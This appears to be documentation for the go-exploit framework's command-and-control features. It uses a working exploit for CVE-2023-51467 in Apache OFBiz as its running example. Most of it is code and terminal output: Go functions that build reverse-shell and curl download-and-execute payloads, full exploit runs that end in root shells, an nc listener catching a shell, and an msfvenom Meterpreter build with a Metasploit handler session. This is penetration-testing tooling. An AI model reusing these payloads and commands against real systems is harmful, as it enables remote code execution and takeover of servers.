In go-exploit
, the command and control (C2) provides very basic second stage and/or post-exploitation functionality. At the moment, there are five supported C2 types:
- SimpleShellClient - An unencrypted shell via a bind shell.
- SimpleShellServer - An unencrypted shell via a reverse shell.
- SSLShellServer - An encrypted shell via a reverse shell.
- HTTPServeFile - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload).
- HTTPServeShell - An HTTP server that serves a user provided binary that will connect back to the exploit for
SSLShellServer
orSimpleShellServer
. - ShellTunnel - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two.
go-exploit
also supports a -o
option which means "The c2 is handled by an outside program so don't expect any type of connect back."
A go-exploit
configures available C2 in main
. For example, if we look at the go-exploit for CVE-2023-51467, we'll find the following:
func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
c2.HTTPServeFile,
}
}
conf := config.New(config.CodeExecution, supportedC2, "Apache OFBiz", "CVE-2023-51467", 80)
sploit := OFBizXML{}
exploit.RunProgram(sploit, conf)
}
In the snippet above, the exploit has configured three available c2. The default is always the one listed first. In this case, c2.SSLShellServer
(an encrypted reverse shell) is the default payload. The exploit also supports c2.SimpleShellServer
and c2.HTTPServeFile
. To use the non-default c2, you simply need to inform the command line:
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:50:27.070-05:00 level=STATUS msg="Starting listener on 10.9.49.78:1270"
time=2024-03-05T04:50:27.071-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:50:28.520-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:49402"
time=2024-03-05T04:50:28.520-05:00 level=STATUS msg="Active shell from 10.9.49.88:49402"
id
uid=0(root) gid=0(root) groups=0(root)
While go-exploit
comes with backends that understand different c2, the programmer is expected to provide the appropriate payload. For example, the go-exploit for CVE-2023-51467 has the following function for defining the payload based on the c2 selected by the user:
func generatePayload(conf *config.Config) (string, bool) {
generated := ""
switch conf.C2Type {
case c2.SSLShellServer:
output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true)
case c2.SimpleShellServer:
output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, false)
case c2.HTTPServeFile:
output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
httpservefile.GetInstance().TLS,
httpservefile.GetInstance().GetRandomName(""))
generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
default:
output.PrintError("Invalid payload")
return generated, false
}
generated = b64.StdEncoding.EncodeToString([]byte(generated))
return generated, true
}
Using the -o
option means that you don't want go-exploit
to spin up a reverse shell listener (or any other C2) and that connect backs will be handled by a differet (or "outside") program. For example, say I wanted to use nc
to catch shells instead of my go-exploit
. The go-exploit for CVE-2023-51467 would do that like this:
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -o -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:57:12.546-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:57:22.644-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
The nc
program listening on 10.9.49.78:1270
would receive the shell.
albinolobster@mournland:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.9.49.88 32866
id
uid=0(root) gid=0(root) groups=0(root)
The idea behind HTTPServeFile is to let the go-exploit
serve up advanced second stages. For example, say we want to drop Meterpreter on a remote host but there is no Metasploit module for the particular issue? go-exploit
solves this issue.
Again, let's revisit the go-exploit for CVE-2023-51467 which has an HTTPServeFile implementation. First, we need to generate a Meterpreter payload:
albinolobster@mournland:~/metasploit-framework$ ./msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.91 lport=1270 -f elf -o /tmp/meterpreter
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068672 bytes
Final size of elf file: 1068672 bytes
Saved as: /tmp/meterpreter
Then we start a Meterpreter listener:
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.91
LHOST => 192.168.1.91
msf6 exploit(multi/handler) > set LPORT 1270
LPORT => 1270
msf6 exploit(multi/handler) > run
We can then throw the exploit that will trigger a download of the file from go-exploit
. The CVE-2023-51467 achieves that with the following payload:
case c2.HTTPServeFile:
output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
httpservefile.GetInstance().TLS,
httpservefile.GetInstance().GetRandomName(""))
generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
Note that we are using the builtin go-exploit
function payload.LinuxCurlHTTPDownloadAndExecute
configured with the user provided TLS
setting and a random filename.
From the command line this is invoked like so:
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 192.168.1.179 -rport 8443 -c2 HTTPServeFile -lhost 192.168.1.91 -lport 8181 -httpServeFile.FilesToServe /tmp/meterpreter
time=2024-03-05T05:51:53.307-05:00 level=STATUS msg="Loading the provided file: /tmp/meterpreter"
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting target" index=0 host=192.168.1.179 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting an HTTP server on 192.168.1.91:8181"
time=2024-03-05T05:51:53.454-05:00 level=STATUS msg="Sending a curl payload for port 192.168.1.91:8181"
time=2024-03-05T05:51:53.454-05:00 level=STATUS msg="Throwing exploit at https://192.168.1.179:8443/webtools/control/ProgramExport/"
time=2024-03-05T05:51:53.928-05:00 level=STATUS msg="Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg"
time=2024-03-05T05:51:54.050-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2024-03-05T05:52:23.329-05:00 level=STATUS msg="Shutting down the HTTP Server"
time=2024-03-05T05:52:23.329-05:00 level=STATUS msg="C2 server exited"
Note the log that states, Connection from 192.168.1.179:58296 requested /JCibGhgPjkfg. This is the indication that the target downloaded the Meterpreter payload. We can then check Metasploit and find:
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.91
LHOST => 192.168.1.91
msf6 exploit(multi/handler) > set LPORT 1270
LPORT => 1270
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.91:1270
[*] Meterpreter session 1 opened (192.168.1.91:1270 -> 192.168.1.179:53880) at 2024-03-05 05:48:21 -0500
meterpreter > shell
Process 136 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/src/apache-ofbiz